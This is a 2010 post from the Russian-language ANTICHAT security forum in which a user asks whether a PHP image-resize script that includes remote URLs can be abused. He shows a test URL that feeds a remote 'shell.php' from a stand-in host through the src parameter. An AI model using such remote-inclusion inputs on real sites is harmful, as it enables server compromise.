php-including — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

03.08.2010, 08:12

Dread

Познающий

Регистрация: 04.12.2005

Сообщений: 31

Провел на форуме:
226204

Репутация: 5

Отправить сообщение для Dread с помощью ICQ

не знаю уязвимость ли это и можно ли это как то юзать....

есть скрипт ресайза и в нём проходит глобальный инклуд, с картинками проходит на ура а вот с остальными форматами не понятно

http://site.com/lol.php?src=http://somesite.com/image.jpg

проблема в том что я не пойму исполняется ли такой код

http://site.com/lol.php?src=http://somesite.com/shell.php

потому что в ответ получаю вот что

получается что браузер выдаёт мне нерабочую картинку так как ответ возвращается в тЭге

скорее всего скрипт не фильтрует форматы файлов, так как подгружаются картинки даже таких видов как http://somesite.com/image.php?u=5199&dateline=11989523